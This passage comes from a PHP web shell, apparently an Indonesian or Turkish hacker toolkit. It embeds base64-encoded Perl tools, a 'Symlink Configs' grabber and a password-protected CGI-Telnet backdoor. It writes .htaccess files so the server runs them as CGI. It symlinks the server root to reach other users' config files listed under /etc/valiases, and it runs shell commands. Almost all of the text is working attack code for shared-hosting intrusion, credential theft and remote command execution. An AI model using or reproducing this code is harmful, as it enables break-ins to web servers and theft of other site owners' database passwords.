2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRrb2xhLictLT5waHBiYjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLS0+aW5maW5pdHkudHh0Jyk7DQp9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMjIyMjIyIj4NCjxwPlBhaW4gU2NyaXB0IFRvIFN5bWxpbmsgQ29uZmlnczwvcD4NCjxwPjxmb250IGNvbG9yPSIjMDA5OTAwIj5bPC9mb250PiBSZUNvZGVkIGJ5IFZpcnVzYSBXb3JtIDxmb250IGNvbG9yPSIjMDA5OTAwIj58PC9mb250PiBPcmlnaW5hbCBDb2RlZCBieSBLYXJhciBhTFNoYU1pIDxmb250IGNvbG9yPSIjMDA5OTAwIj58IDwvZm9udD4gDQpEZXZlbG9wZWQgQnkgSGlkZGVuIFBhaW4gPGZvbnQgY29sb3I9IiMwMDk5MDAiPl08L2ZvbnQ+PC9wPg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0ZXh0YXJlYSBuYW1lPSJwYXNzIiByb3dzPSIyNSIgY29scz0iNzAiICBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYm9yZGVyLXJhZGl1czogNHB4OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCBibGFjazsgYmFja2dyb3VuZC1jb2xvcjojMjIyMjIyOyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZTo4cHQ7IGNvbG9yOiMwMGFhMDA7IiAgPjwvdGV4dGFyZWE+PGJyIC8+DQombmJzcDs8cD4NCjxpbnB1dCBuYW1lPSJ0YXIiIHR5cGU9InRleHQiIHN0eWxlPSJib3JkZXI6IDFweCBzb2xpZCAjMDA3NzAwOyBib3JkZXItcmFkaXVzOiA0cHg7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4IGJsYWNrOyBiYWNrZ3JvdW5kLWNvbG9yOiMyMjIyMjI7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6I2FiYWJhYjsgIiAgLz48YnIgLz4NCiZuYnNwOzwvcD4NCjxwPg0KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCBDb25maWciIHN0eWxlPSJib3JkZXI6MXB4ICMwMDc3MDA7IGJvcmRlci1yYWRpdXM6IDRweDsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjojMjIyMjIyOyB0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7IGhlaWdodDoyMzsgYmFja2dyb3VuZC1jb2xvcjojZTRlNGU0IiAvPjwvcD4NCjwvZm9ybT4nOw0KfWVsc2V7DQpAbGluZXMgPTwkRk9STXtwYXNzfT47DQokeSA9IEBsaW5lczsNCm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7DQpwcmludCBNWUZJTEUgInRhciAtY3pmICIuJEZPUk17dGFyfS4iLnRhciAiOw0KZm9yICgka2E9MDska2E8JHk7JGthKyspew0Kd2hpbGUoQGxpbmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7DQombGlsKCQxKTsNCnByaW50IE1ZRklMRSAkMS4iLnR4dCAiOw0KZm9yKCRrZD0xOyRrZDwxODska2QrKyl7DQpwcmludCBNWUZJTEUgJDEuJGtkLiIudHh0ICI7DQp9DQp9DQogfQ0KcHJpbnQnPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzIyMjIyMiI+DQo8cD5Eb25lICEhPC9wPg0KPHA+Jm5ic3A7PC9wPic7DQppZigkRk9STXt0YXJ9IG5lICIiKXsNCm9wZW4oSU5GTywgInRhci50bXAiKTsNCkBsaW5lcyA9PElORk8+IDsNCmNsb3NlKElORk8pOw0Kc3lzdGVtKEBsaW5lcyk7DQpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0uJy50YXIiPjxmb250IGNvbG9yPSIjMDBmZjAwIj4NCjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmUiPkNsaWNrIEhlcmUgVG8gRG93bmxvYWQgVGFyIEZpbGU8L3NwYW4+PC9mb250PjwvYT48L3A+JzsNCn0NCn0NCiBwcmludCINCjwvYm9keT4NCjwvaHRtbD4iOw==';
5408$file=(base64_decode($vw));
5409mkdir('tempek', 0777);
5410$hope = fopen("tempek/.htaccess", 'w');
5411$hcon= "Options FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .pl\nAddHandler cgi-script .pl\nAddHandler cgi-script .pl";
5412fwrite ( $hope, $hcon ) ;
5413$pelfile = fopen("tempek/mambu.pl" ,"w");
5414fwrite ($pelfile,$file);
5415 chmod("tempek/mambu.pl",0755);
5416 echo "<iframe src=tempek/mambu.pl width=50% height=70% ></iframe><br><br> ";
5417 echo "<font face='Tahoma' color='#007700' size='2pt'>check in this directory for configs files</font><br><br><b><a href='tempek/' target='_blank'> Click Here </a></b><br><br>";
5418}
5419
5420echo '<table width=100% border=0><tr><td align=center></td></tr></table>
5421<p><form method=post>
5422 <input type=submit name="ms" value="Read /etc/named.conf" /></form></p><br>';
5423
5424if(isset($_POST['ms']))
5425{
5426error_reporting(0);
5427$cmd="ls /var/named";
5428$r=shell_exec($cmd);
5429mkdir('jembut',0777);
5430$rr = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
5431$f = fopen('jembut/.htaccess','w');
5432$agshell = symlink("/","jembut/ngriwul");
5433fwrite($f , $rr);
5434echo '<form method=post><textarea class=area rows=10 cols=35 name=web>';
5435echo $r;
5436echo '</textarea><br><br><input type=submit name=w value="Bypass Now !">
5437</form><br><br>';
5438
5439}
5440error_reporting(0);
5441$webs=explode("\n",$_POST['web']);
5442if(isset($_POST['w']))
5443{
5444$webs=explode("\n",$_POST['web']);
5445echo "
5446<div class='tmp'><table width='40%'><tr><td><font color='#e4e4e4' ><b>Domains</b></font></td><td><font color='#e4e4e4'><b>Users</b></font></td><td><font color='#e4e4e4'><b>Symlink</b> </font></td></tr></div>";
5447foreach($webs as $f)
5448{
5449 $str=substr_replace($f,"",-4);
5450$user = posix_getpwuid(@fileowner("/etc/valiases/".$str));
5451echo "<tr><td><font color=red>".$str."</font></td><td><font color=#b0b000>".$user['name']."</td><td><div class='cone'><a target='_blank' href=jembut/ngriwul/home/".$user['name']."/public_html/>Symlink</a></div></td></tr>";
5452flush();
5453}
5454
5455}
5456echo '</table><br><br>';
5457}
5458?>
5459<?php
5460if(isset($_GET['jak']) && $_GET['jak'] == 'cgi'){
5461mkdir('PBM', 0755);
5462chdir('PBM');
5463$kokdosya = ".htaccess";
5464$dosya_adi = "$kokdosya";
5465$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
5466$metin = "AddType application/x-httpd-cgi .te4m
5467AddType application/x-httpd-cgi .te4m
5468
5469AddHandler cgi-script .te4m
5470AddHandler cgi-script .te4m";
5471fwrite ( $dosya , $metin ) ;
5472fclose ($dosya);
5473$cgi4e = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS40IjsNCiRFZGl0UGVyc2lvbj0iQW5vbkdob3N0IjsNCg0KJFBhc3N3b3JkID0gInZpcnVzYSI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9ZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CQkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcw0KCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcw0KCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlDQoJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQNCgkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQokY29scz0gMTMwOw0KJHJvd3M9IDI2Ow0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0DQojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuDQojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uDQojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mDQojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJDQojIHNjcmlwdHMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUmVhZFBhcnNlIA0Kew0KCWxvY2FsICgqaW4pID0gQF8gaWYgQF87DQoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICIiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlueyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIGZ1bmN0aW9uIEVuY29kZURpcjogZW5jb2RlIGJhc2U2NCBQYXRoDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRW5jb2RlRGlyDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KCSRkaXIgPSB0cmltKGVuY29kZV9iYXNlNjQoJGRpcikpOw0KCSRkaXIgPX4gcy8oXHJ8XG4pLy87DQoJcmV0dXJuICRkaXI7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7DQoJbXkgJGluZm8gPSBgdW5hbWUgLXMgLW4gLXIgLWlgOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5Bbm9uR2hvc3QgQ2dpLVRlbG5ldCBbICRWZXJzaW9uIF08L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZmY7DQp9DQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCn0NCiNkb21haW4gdHI6aG92ZXJ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0Ow0KfQ0KdGQgew0KY29sb3I6ICMyQkE4RUM7DQp9DQoubGlzdGRpciB0ZHsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQoubGlzdGRpciB0aHsNCgljb2xvcjogI0ZGOTkwMDsNCn0NCi5kaXIsLmZpbGUNCnsNCgl0ZXh0LWFsaWduOiBsZWZ0ICFpbXBvcnRhbnQ7DQp9DQouZGlyew0KCWZvbnQtc2l6ZTogMTBwdDsgDQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQp9DQp0YWJsZSB7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KaW5wdXQgew0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCmNvZGUgew0KYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogd2hpbGU7DQp9DQpydW4gew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCnRleHRhcmVhIHsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNhYWE7DQp9DQpBOmxpbmsgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpDQp7DQoJdmFyIGUgPSAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobmFtZSk7DQoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7DQoJcmV0dXJuIHRydWU7DQp9DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSdmJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mz4NCgkJPGI+PGZvbnQgc2l6ZT0iMyI+by0tLVsgICRFZGl0UGVyc2lvbiBdLS0tbzwvZm9udD48L2I+DQoJPC90ZD4NCgk8dGQ+DQoJCSRpbmZvDQoJPC90ZD4NCgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjZmY5OTAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2ZmOTkwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4NCgk8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciI+Q29tbW